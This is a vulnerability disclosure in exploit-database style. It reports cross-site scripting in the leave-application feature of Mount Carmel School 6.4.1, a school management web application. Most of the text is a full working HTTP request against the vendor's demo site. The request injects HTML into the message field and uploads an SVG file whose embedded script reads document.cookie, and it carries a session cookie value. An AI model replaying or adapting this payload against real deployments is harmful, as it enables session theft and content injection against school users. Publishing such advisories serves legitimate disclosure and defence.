## Title: 2023-Mount-Carmel-School-6.4.1 XSS-Reflected - User Interaction ## Author: nu11secur1ty ## Date: 10/14/2023 ## Vendor: https://smart-school.in/ ## Software: https://demo.smart-school.in/site/userlogin# ## Reference: https://portswigger.net/kb/issues/00200300_cross-site-scripting-reflected ## Description: The user can manipulate the system by injecting an HTML code into the system without any restriction. The function apply_leave is not sanitizing correctly. This could allow the user to inject this application by using HTML or Java Script with very malicious purposes etc... STATUS: HIGH- Vulnerability [+]Exploit: ```HTML POST /user/apply_leave/add HTTP/1.1 Host: demo.smart-school.in Cookie: ci_session=495u2fpup87iml75p4us2uuqgqkpsof9 Content-Length: 1492 Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8" Accept: application/json, text/javascript, */*; q=0.01 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5wuzslDN9siOCW0K X-Requested-With: XMLHttpRequest Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36 Sec-Ch-Ua-Platform: "Windows" Origin: https://demo.smart-school.in Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://demo.smart-school.in/user/apply_leave Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Connection: close ------WebKitFormBoundary5wuzslDN9siOCW0K Content-Disposition: form-data; name="homework_id" ------WebKitFormBoundary5wuzslDN9siOCW0K Content-Disposition: form-data; name="apply_date" 10/14/2023 ------WebKitFormBoundary5wuzslDN9siOCW0K Content-Disposition: form-data; name="from_date" 09/27/2023 ------WebKitFormBoundary5wuzslDN9siOCW0K Content-Disposition: form-data; name="to_date" 09/29/2023 ------WebKitFormBoundary5wuzslDN9siOCW0K Content-Disposition: form-data; name="leave_id" ------WebKitFormBoundary5wuzslDN9siOCW0K Content-Disposition: form-data; name="message" <a href="https://www.youtube.com/watch?v=yPuC4Cy2ZuI" target="_blank" rel="noopener nofollow ugc"> <img src="https://raw.githubusercontent.com/nu11secur1ty/XSSight/master/nu11secur1ty/images/chalga-tochilka.gif" style="border:1px solid black;max-width:100%;" alt="Photo of Byron Bay, one of Australia's best beaches!"> ------WebKitFormBoundary5wuzslDN9siOCW0K Content-Disposition: form-data; name="files[]"; filename="kurec.svg" Content-Type: image/svg+xml <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert(document.cookie); </script> </svg> ------WebKitFormBoundary5wuzslDN9siOCW0K-- ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/smart-school.in/2023/Mount-Carmel-School-6.4.1) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2023/10/2023-mount-carmel-school-641-xss.html) ## Time spent: 00:37:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>